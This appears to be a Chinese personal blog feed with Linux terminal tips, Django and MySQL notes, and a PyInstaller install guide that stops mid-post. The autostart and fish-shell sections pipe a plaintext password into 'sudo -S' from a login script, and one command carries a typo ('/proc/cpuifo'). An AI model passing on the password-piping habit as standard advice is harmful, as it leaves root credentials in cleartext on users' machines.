<p><code>watch -t -n1 &quot;date +%T|toilet -fbigmono12&quot;</code></p>
<h3 id="录制终端操作--script--scriptreplay">录制终端操作 ： <code>script &amp; scriptreplay</code></h3>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="c1"># 录制命令:</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">script -t 2&gt;example.time -a example.txt
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="c1"># 播放命令:</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">scriptreplay example.time example.txt</span></span></code></pre></div><p>两个文件可以随便命名 例如timing.log和output.session</p>
<p>解释:</p>
<ol>
<li>-t是把时间数据输出到标准错误(standard error),这里使用 2&gt;example.time 把数据重定向到example.time这个文件当中.</li>
<li>-a 选项则指定输出录制的文件.</li>
<li>在录制过程中,使用 exit 结束录制过程.</li>
</ol>
<h3 id="黑客帝国终端">黑客帝国终端</h3>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">sudo apt install cmatrix
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="c1"># 选项</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="c1"># -a :异步滚动（默认）</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="c1"># -b :随机粗体</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="c1"># -B :全部粗体</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="c1"># -h :获得帮助信息</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="c1"># -n :不使用粗体（默认）</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="c1"># -s :屏保模式 任意键退出</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="c1"># -u :刷新频率，0-9，也就是滚动的快慢</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="c1"># -C :显示的颜色，支持green(默认),</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="c1"># red,blue,white,yellow,cyan,magenta,black</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="c1"># 在运行的状态下直接按q 即可退出程序</span></span></span></code></pre></div><h3 id="高端显示linux系统信息">高端显示linux系统信息</h3>
<p><code>screenfetch</code></p>
<h3 id="小火车">小火车</h3>
<p><code>sl 或者 LS</code></p>
<h3 id="艺术字">艺术字</h3>
<p><code>toilet 一些文本</code></p>
<h3 id="分解质因数">分解质因数</h3>
<p><code>factor ***</code></p>
<h3 id="输出无穷字符">输出无穷字符</h3>
<p><code>yes ***</code></p>
<h3 id="显示火">显示火</h3>
<p><code>aafire</code></p>
<h3 id="跟着鼠标的猫">跟着鼠标的猫</h3>
<p><code>oneko</code></p>
<hr>
<h2 id="硬件相关">硬件相关</h2>
<h3 id="刷bios">刷bios</h3>
<p><code>flashrom</code></p>
<h3 id="查看系统信息代替cpu-z">查看系统信息(代替cpu-z)</h3>
<p>cpu-g <a href="https://sourceforge.net/projects/cpug/">https://sourceforge.net/projects/cpug/</a></p>
<p>i-nex <a href="https://sourceforge.net/projects/i-nex/">https://sourceforge.net/projects/i-nex/</a> 或者：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">sudo add-apt-repository ppa:gambas-team/gambas3 <span class="o">&amp;&amp;</span> <span class="se">\
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl">sudo add-apt-repository ppa:i-nex-development-team/stable <span class="o">&amp;&amp;</span> <span class="se">\
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl">sudo apt-get update
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">sudo apt-get install <span class="se">\
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl">debhelper devscripts pkg-config dpkg-dev <span class="se">\
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl">lsb-release gambas3-dev gambas3-gb-image gambas3-gb-qt5 gambas3-gb-form gambas3-gb-desktop <span class="se">\
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl">gambas3-gb-form-stock git
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl">sudo apt-get install i-nex</span></span></code></pre></div><h3 id="详细开机信息内核-硬件等">详细开机信息(内核 硬件等)</h3>
<p><code>dmesg</code></p>
<h3 id="详细内存信息">详细内存信息</h3>
<p><code>cat /proc/meminfo</code></p>
<h3 id="详细cpu信息">详细cpu信息</h3>
<p><code>cat /proc/cpuifo</code></p>
<h3 id="cpu信息-仅频率">cpu信息 仅频率</h3>
<p><code>cat /proc/cpuinfo |grep MHz|uniq</code></p>
<h3 id="proc硬件信息整合">proc硬件信息整合</h3>
<p><code>sudo lshw (-short)</code></p>
<h3 id="操作系统相关信息">操作系统相关信息</h3>
<p><code>uname -a</code></p>
<h3 id="硬件信息dmi">硬件信息(DMI)</h3>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">dmidecode            <span class="c1"># 显示全部dmi信息</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">dmidecode -q         <span class="c1"># (–quite) 只显示必要的信息</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">dmidecode -t TYPE    <span class="c1"># 指定信息类型 例如memory bios processor</span></span></span></code></pre></div><h3 id="硬件信息">硬件信息</h3>
<p><code>hardinfo</code></p>
<h3 id="cpu实时信息">cpu实时信息</h3>
<p><code>i7z</code></p>
<h3 id="每个逻辑cpu的频率">每个逻辑cpu的频率</h3>
<p><code>sudo cpupower monitor</code></p>
<h3 id="查看各种传感器数据">查看各种传感器数据</h3>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sensors-detect
</span></span><span class="line"><span class="ln">2</span><span class="cl">sensors</span></span></code></pre></div><h3 id="一个控制台ui的cpu监测工具s-tui">一个控制台UI的cpu监测工具<code>s-tui</code></h3>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install gcc python-dev python-pip
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="o">(</span>可选：sudo apt install stress<span class="o">)</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">sudo pip install s-tui
</span></span><span class="line"><span class="ln">4</span><span class="cl">sudo s-tui</span></span></code></pre></div><hr>
<h2 id="tty优化相关">tty优化相关</h2>
<h3 id="支持中文的命令行zhcon">支持中文的命令行<code>zhcon</code></h3>
<p><code>sudo zhcon --utf8</code></p>
<h3 id="远程桌面vnc--tigervnc">远程桌面vnc ： <code>tigervnc</code></h3>





<pre tabindex="0"><code class="language-help" data-lang="help">https://bintray.com/tigervnc/stable/tigervnc/1.8.0#files
启动： vncserver
帮助： vncserver -help
列出进程： vncserver -list
杀进程： vncserver -kill :* (* 为桌面号)
端口： 5900+* (* 为对应桌面号)</code></pre><h3 id="内网穿透--frp">内网穿透 ： <code>frp</code></h3>
<p><a href="https://github.com/fatedier/frp/releases">https://github.com/fatedier/frp/releases</a></p>
<p>配置文档：<a href="https://github.com/fatedier/frp/blob/master/README_zh.md">https://github.com/fatedier/frp/blob/master/README_zh.md</a></p>
<h3 id="任务开机启动">任务开机启动</h3>
<p><code>sudo vim /etc/systemd/system/***.service</code> 新建此文件，并写入以下内容</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-service" data-lang="service"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="k">[Unit]</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="na">Description</span><span class="o">=</span><span class="s">*** daemon</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="c"># 下面两行意味着网络准备好以后才会启动命令</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="c"># After=syslog.target  network.target</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="c"># Wants=network.target</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="k">[Service]</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="na">Type</span><span class="o">=</span><span class="s">simple</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="na">ExecStart</span><span class="o">=</span><span class="s"> ***  # 启动指令</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="na">Restart</span><span class="o">=</span><span class="s"> always</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="na">RestartSec</span><span class="o">=</span><span class="s">1min</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="k">[Install]</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="na">WantedBy</span><span class="o">=</span><span class="s">multi-user.target</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="err">然后设为开机自启动：</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="err">sudo</span> <span class="err">systemctl</span> <span class="err">start</span> <span class="err">***</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="err">sudo</span> <span class="err">systemctl</span> <span class="err">enable</span> <span class="err">***</span></span></span></code></pre></div><h3 id="支持中文的consolefbterm-配置">支持中文的console：<code>fbterm</code> 配置</h3>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">sudo apt install fbterm
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">sudo fbterm 或者 sudo fbterm fish 运行
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">然后修改~/.fbtermrc
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">font-names<span class="o">=</span>YaHei Consolas Hybrid
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">font-size<span class="o">=</span><span class="m">18</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">font-width<span class="o">=</span>-2
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">font-height<span class="o">=</span>-4
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">color-foreground<span class="o">=</span><span class="m">0</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">color-background<span class="o">=</span><span class="m">7</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">text-encodings<span class="o">=</span>zh_CN.UTF-8
</span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl">获得纯白的方法：
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="nb">echo</span> -en <span class="s2">&#34;\e]P7ffffff&#34;</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">clear
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl">如果要支持中文输入法的话，安装fcitx-frontend-fbterm，然后运行：
</span></span><span class="line"><span class="ln">17</span><span class="cl">sudo setcap <span class="s1">&#39;cap_sys_tty_config+ep&#39;</span> /usr/bin/fbterm
</span></span><span class="line"><span class="ln">18</span><span class="cl">并且在.fbtermrc里设置input-method<span class="o">=</span>fcitx-fbterm</span></span></code></pre></div><h3 id="开机自动运行的脚本">开机自动运行的脚本</h3>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">创建一个脚本文件： *** .sh
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">编写内容，开头一定要是
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="c1">#!/bin/sh 或者 #!/usr/bin/fish 等</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">表示在哪个shell下执行命令
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">然后下面必须有LSB描述信息：
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="c1">## BEGIN INIT INFO</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="c1"># Provides:         *** .sh</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="c1"># Required-Start:    $syslog $remote_fs $network</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="c1"># Required-Stop:    $syslog $remote_fs $network</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="c1"># Default-Start:    2 3 4 5</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="c1"># Default-Stop:        0 1 6</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="c1"># Short-Description: starts the *** .sh daemon</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="c1"># Description:     starts *** .sh using start-stop-daemon</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="c1">## END INIT INFO</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">
</span></span><span class="line"><span class="ln">17</span><span class="cl">执行如下指令：sudo chmod <span class="m">755</span> *** .sh
</span></span><span class="line"><span class="ln">18</span><span class="cl">让脚本具备可执行权限
</span></span><span class="line"><span class="ln">19</span><span class="cl">
</span></span><span class="line"><span class="ln">20</span><span class="cl">将 *** .sh移动到/etc/init.d路径下，可以直接拷贝
</span></span><span class="line"><span class="ln">21</span><span class="cl">
</span></span><span class="line"><span class="ln">22</span><span class="cl">执行：
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="nb">cd</span> /etc/init.d/
</span></span><span class="line"><span class="ln">24</span><span class="cl">sudo update-rc.d  *** .sh defaults <span class="m">90</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">在这里90表明一个优先级，越高表示执行的越晚
</span></span><span class="line"><span class="ln">26</span><span class="cl">
</span></span><span class="line"><span class="ln">27</span><span class="cl">如果要移除脚本：
</span></span><span class="line"><span class="ln">28</span><span class="cl">sudo update-rc.d -f  *** .sh remove
</span></span><span class="line"><span class="ln">29</span><span class="cl">
</span></span><span class="line"><span class="ln">30</span><span class="cl">获取sudo的方式：
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="nb">echo</span> PASSWORD <span class="p">|</span> sudo -S ls</span></span></code></pre></div><p>方法二：将后缀为 <code>.service</code> 的 <code>unit configuration file</code> 放置在 <code>/lib/systemd/system</code> 或者 <code>/etc/systemd/system</code> 下。（以 frps.service 为例）</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-service" data-lang="service"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="k">[Unit]</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="na">Description</span><span class="o">=</span><span class="s">frpc daemon</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="na">After</span><span class="o">=</span><span class="s">syslog.target  network.target</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="na">Wants</span><span class="o">=</span><span class="s">network.target</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="k">[Service]</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="na">Type</span><span class="o">=</span><span class="s">simple</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="na">ExecStart</span><span class="o">=</span><span class="s">/usr/sbin/frp/frpc -c /etc/frp/frpc.ini</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="na">Restart</span><span class="o">=</span><span class="s"> always</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="na">RestartSec</span><span class="o">=</span><span class="s">1min</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="na">ExecStop</span><span class="o">=</span><span class="s">/usr/bin/killall frpc</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="k">[Install]</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="na">WantedBy</span><span class="o">=</span><span class="s">multi-user.target</span></span></span></code></pre></div><p>systemctl 可用操作：</p>
<p>自启动服务 <code>sudo systemctl enable yourservice.service</code></p>
<p>停止自启动 <code>disable</code>  启动 <code>start</code>  停止 <code>stop</code>  重启 <code>restart</code>  重载配置 <code>reload</code>  日志 <code>status</code></p>
<p>enable指令相当于在 <code>/etc/systemd/system</code> 目录添加一个符号链接，指向 <code>/lib/systemd/system</code> 里面的 <code>****.service</code> 文件。</p>
<p>这是因为开机时，<code>Systemd</code> 只执行 <code>/etc/systemd/system</code> 目录里面的配置文件。这也意味着，如果把修改后的配置文件放在该目录，就可以达到覆盖原始配置的效果。</p>
<p>修改配置文件后需要重新加载：<code>sudo systemctl daemon-reload</code></p>
<h3 id="fish启动加载脚本位置">fish启动加载脚本位置</h3>
<p><code>~/.config/fish/config.fish</code></p>
<h3 id="fish-shell判断是否是tty命令行还是图形界面命令行来启动fbterm">fish shell判断是否是tty命令行还是图形界面命令行来启动fbterm</h3>





<pre tabindex="0"><code class="language-help" data-lang="help">脚本位于~/.config/fish/config.fish
内容如下：

if tty | grep tty
    nohup vncserver :1 &amp;
    echo PASSWORD | sudo -S ls

    fcitx-fbterm-helper -l   # 如果要开机启动输入法 那就用这句
    # sudo fbterm fish       # 如果不要输入法 就用这句
    如果想要开机登录到root用户，这段可以这样：
    sudo fcitx
    sudo fcitx-fbterm-helper
    sudo fbterm fish

    如果想在fbterm里exit以后直接退出登录，那么再加：
    echo PASSWORD | sudo -S ls
    sudo kill %self
else
    sudo echo -en &#34;\e]P7ffffff&#34;
    clear
end

这段脚本的运行逻辑：
每次登录到一个tty进入fish的时候先试着启动vnc
然后往下运行到sudo fbterm fish，递归下一层
进入fbterm发现tty得到的不是tty而是pts
于是执行刷新白色的操作
等到这个fbterm最后exit的时候就回溯到kill %self，
直接把上一层的依赖fish给杀掉，于是退出当前这个tty的登录
依赖关系为： login - fish - sudo - fbterm - fish

注意，如果最开始登录的那个tty退出的话，vnc会跟着退出。
因为vnc是依赖于tty运行的，一直运行着的那个vnc：1自然是依赖于最早启动的tty
一旦最早登录的那个tty被退出，vnc：1自然就会被杀掉。</code></pre>]]></content:encoded>
    </item>
    <item>
      <title>后端初步学习笔记</title>
      <link>https://sttev.com/posts/02-backend-notes/</link>
      <pubDate>Mon, 20 Nov 2017 20:10:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/02-backend-notes/</guid>
      <description>&lt;h2 id=&#34;1-mysql常用指令&#34;&gt;1. MySQL常用指令&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;cmd / powershell部分&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;code&gt;mysqld --install / --remove&lt;/code&gt;  安装/移除mysql服务&lt;br&gt;&#xA;&lt;code&gt;net start/stop mysql&lt;/code&gt;  启动/关闭mysql服务&lt;br&gt;&#xA;&lt;code&gt;mysql -u root -p&lt;/code&gt;  以root用户登录mysql&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="1-mysql常用指令">1. MySQL常用指令</h2>
<blockquote>
<ul>
<li>cmd / powershell部分</li>
</ul>
<p><code>mysqld --install / --remove</code>  安装/移除mysql服务<br>
<code>net start/stop mysql</code>  启动/关闭mysql服务<br>
<code>mysql -u root -p</code>  以root用户登录mysql</p>
<ul>
<li>mysql部分</li>
</ul>
<p><code>show databases;</code>  查看数据库<br>
<code>use 库名称;</code>  使用某个数据库<br>
<code>show tables;</code>  查看这个库里的表<br>
<code>select 列名称 from 表名称 [查询条件];</code>  查询列 查询条件即where(可缺省) 列名称用*即可查看整张表<br>
<code>desc 表名称;</code>  查看指定表的结构<br>
<code>create database 库名称;</code>  创建指定名称的数据库<br>
<code>source ***.sql</code>  把指定路径的sql文件导入当前使用这个数据库中<br>
<code>drop table/database ***;</code>  删除指定名称的表/数据库<br>
<code>insert into 表名 values(***, ***, ...)</code>  插入数据<br>
<code>delete from 表名 [where ***]</code>  删除指定表内的数据</p>
</blockquote>
<h2 id="2-django常用指令">2. Django常用指令</h2>
<blockquote>
<ul>
<li>命令行部分</li>
</ul>
<p><code>django-admin startproject project_name</code>  新建一个django项目<br>
<code>python manage.py startapp app_name</code>  新建一个app</p>
<blockquote>
<p>从代码生成表：<br>
<code>python manage.py migrate</code>  创建表结构<br>
<code>python manage.py makemigrations app_name</code>  告诉django我们的模型有变化<br>
<code>python manage.py migrate app_name</code>  创建表结构</p>
</blockquote>
<blockquote>
<p>从已有的表生成代码：<br>
<code>python manage.py inspectdb &gt; app_name/models.py</code>  把settings里指定的表里的内容生成为models的代码</p>
</blockquote>
<p><code>python manage.py runserver [端口号]</code>  在指定端口上运行服务器（缺省值为8000端口）<br>
<code>python manage.py flush</code>  清除所有数据<br>
<code>python manage.py createsuperuser</code>  创建超级管理员</p>
</blockquote>
<h2 id="3-django新建项目操作流程">3. Django新建项目操作流程</h2>
<blockquote>
<ol>
<li>
<p>新建项目 startproject</p>
</li>
<li>
<p>新建项目 startapp</p>
</li>
<li>
<p>修改 settings.py<br>
a. 修改 databases</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="n">DATABASES</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">    <span class="s1">&#39;default&#39;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">        <span class="s1">&#39;ENGINE&#39;</span><span class="p">:</span> <span class="s1">&#39;django.db.backends.mysql&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">        <span class="s1">&#39;NAME&#39;</span><span class="p">:</span><span class="s1">&#39;***&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">        <span class="s2">&#34;USER&#34;</span><span class="p">:</span><span class="s1">&#39;***(root)&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">        <span class="s2">&#34;PASSWORD&#34;</span><span class="p">:</span><span class="s1">&#39;***&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">        <span class="s1">&#39;HOST&#39;</span><span class="p">:</span><span class="s1">&#39;localhost&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="s1">&#39;PORT&#39;</span><span class="p">:</span> <span class="s1">&#39;3306&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="p">}</span></span></span></code></pre></div><p>b. app名称添加进 installed_apps 里<br>
c. 修改 models.py 文件 建立数据库模型</p>
</li>
<li>
<p>修改 views.py 和 urls.py 进行链接映射和后端功能编写</p>
</li>
</ol>
</blockquote>
<ul>
<li>
<p>Django的一些细节</p>
<ol>
<li>
<p>urls.py 里，链接匹配用的是正则 开头的 ^ 表示匹配字符串头，结尾的 $ 表示匹配字符串尾<br>
如果后面或者前面还要匹配别的字符串就不要加对应的那个符号了</p>
</li>
<li>
<p>在接收网络文件（图片、文件等）的时候，接收可能会有权限报错。接收文件夹需要对权限进行更改，如下。<br>
<code>cd /var/www/项目名称</code>  到 存放文件的文件夹 所在的文件夹下<br>
<code>chgrp -R www-data src/</code>  修改文件夹用户组<br>
<code>chmod -R g+w src/</code>  修改读写权限</p>
</li>
</ol>
</li>
</ul>
<h2 id="4-django数据库读写操作">4. Django数据库读写操作</h2>
<blockquote>
<ol>
<li>
<p>添加/更新数据：<br>
<code>***.save()</code>  ***为对应的数据库对象实例<br>
注意！如果该对象的主键已经存在，则会直接更新对应的值！</p>
</li>
<li>
<p>查询数据：<br>
<code>***.objects.all()</code> 相当于select * from<br>
<code>***.objects.filter( ** = ** )</code> 相当于where<br>
<code>***.objects.get( ** = ** )</code> 获取单个对象<br>
<code>***.objects.order_by( &quot;**&quot; )</code> 排序（可以和上面的连锁使用）(可以有两个参数)</p>
</li>
<li>
<p>删除数据：<br>
<code>***.delete()</code> 删除表中指定对象<br>
<code>***.objects.filter(**=**).delete()</code> 删除选中的指定记录<br>
<code>***.objects.all().delete()</code> 全删了</p>
</li>
</ol>
</blockquote>
<ul>
<li>需要注意的点：
<ul>
<li>是 <code>objects</code> 不是 <code>object</code> ！！！<br>
有 <code>s</code> ！！</li>
</ul>
</li>
</ul>
<h2 id="5-json">5. JSON</h2>
<blockquote>
<ol>
<li>
<p>编码：<br>
<code>json.dumps(obj)</code><br>
常用参数：<br>
<code>sort_keys = True/False</code> 对数据排序<br>
<code>encoding = 'utf-8'</code> 设置编码<br>
<code>indent = 4</code> 设置编码数据的缩进（方便阅读）（不推荐用）<br>
<code>separators = (',',': ')</code> 设置分割对象的分隔符 方便压缩数据</p>
</li>
<li>
<p>解码：<br>
<code>json.loads(encoded_json)</code>
常用参数：<br>
<code>encoding = 'utf-8'</code> 设置编码</p>
</li>
</ol>
</blockquote>
]]></content:encoded>
    </item>
    <item>
      <title>Python打包输出为.exe可执行文件</title>
      <link>https://sttev.com/posts/01-python2exe/</link>
      <pubDate>Sat, 12 Nov 2016 22:45:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/01-python2exe/</guid>
      <description>&lt;p&gt;　　在完成了之前的爬虫以后，为了给电脑上没有Python环境的朋友玩我的爬虫，开始尝试把爬虫的.py文件输出成.exe可执行文件。&lt;/p&gt;&#xA;&lt;p&gt;　　首先，Python的教程上提到了py2exe的模块。但是一波搜索以后发现这个玩意只支持到Python3.4，而我用的是Python3.5.2，这让我很尴尬&amp;hellip;&amp;hellip;于是继续一波搜索，发现了一个叫PyInstaller的模块。这个模块可以完美支持Python3.5，于是怒入。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>　　在完成了之前的爬虫以后，为了给电脑上没有Python环境的朋友玩我的爬虫，开始尝试把爬虫的.py文件输出成.exe可执行文件。</p>
<p>　　首先，Python的教程上提到了py2exe的模块。但是一波搜索以后发现这个玩意只支持到Python3.4，而我用的是Python3.5.2，这让我很尴尬&hellip;&hellip;于是继续一波搜索，发现了一个叫PyInstaller的模块。这个模块可以完美支持Python3.5，于是怒入。</p>
<p>　　首先是安装。下载地址为：<a href="https://github.com/pyinstaller/pyinstaller/releases/download/v3.2/PyInstaller-3.2.zip">https://github.com/pyinstaller/pyinstaller/releases/download/v3.2/PyInstaller-3.2.zip</a></p>
<p>　　如果有更新的版本可以在官方网站上下载：<a href="http://www.pyinstaller.org/">http://www.pyinstaller.org/</a></p>
<p>　　下载完以后，解压这个zip文件。然后用管理员权限运行命令提示符（在小娜里输入 cmd，上面搜索结果里的命令提示符右击以管理员权限运行），进入你解压出来的文件夹路径。（操作方法：进入别的盘符输 x:，例如 d:  ; 然后 cd x:.&hellip;. 你的目录，例如 cd D:\MyPrograms\python\，不懂可以自行百度）。然后输入以下指令：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">python setup.py install</span></span></code></pre></div><p>　　然后等待一会，应该就可以完成安装。检验是否安装成功可以使用以下语句：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">pyinstaller --version</span></span></code></pre></div><p>　　如果有一个版本号的回应，说明安装成功了。如果没有反应，说明没有安装成功，看一下报错信息，很有可能是一个东西没有安装：pywin32模块。</p>
<p>　　先尝试在管理员权限的命令提示符里输入：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">pip install pywin32</span></span></code></pre></div><p>　　如果报错就再试几次。如果还是不行，那就用手动下载离线包的安装方法：</p>
<p>　　打开以下网页：<a href="https://sourceforge.net/projects/pywin32/files/pywin32/">https://sourceforge.net/projects/pywin32/files/pywin32/</a></p>
<p>　　然后在列表里选择最新的（数字最大的）build。点开目录，在目录下寻找适合自己的安装包。以build 220为例，文件夹下有一个zip和一片exe。在exe文件中，都是以pywin32-220开头，这是版本号。后面有两种，win-amd64和win32，分别对应64位和32位的版本，可以根据系统的不同位数选择，如果不清楚，选择win32的即可。然后后面会跟着py*.*，这是Python的版本号，我们现在用的一般都是Python3.5.2，所以选择py3.5的那个，即 <a href="https://sourceforge.net/projects/pywin32/files/pywin32/Build%20220/pywin32-220.win-amd64-py3.5.exe/download">pywin32-220.win-amd64-py3.5.exe</a> 或者 <a href="https://sourceforge.net/projects/pywin32/files/pywin32/Build%20220/pywin32-220.win32-py3.5.exe/download">pywin32-220.win32-py3.5.exe</a>（这两个链接是下载传送门）。如果有使用不同python版本的请自行进入网站对号入座下载安装包。</p>
<p>　　下载完以后，直接双击运行。一般就是无脑next即可。</p>
<p>　　安装完pywin32以后，再次重复之前的安装操作，应该就可以解决问题了。</p>
<p>　　然而根据后来帮舍友安装的经历来看，如果还是有报错，那有可能还有一个模块没有安装：future</p>
<p>　　用线下安装包的方法太烦，于是直接打开管理员权限的命令提示符，键入以下指令：</p>





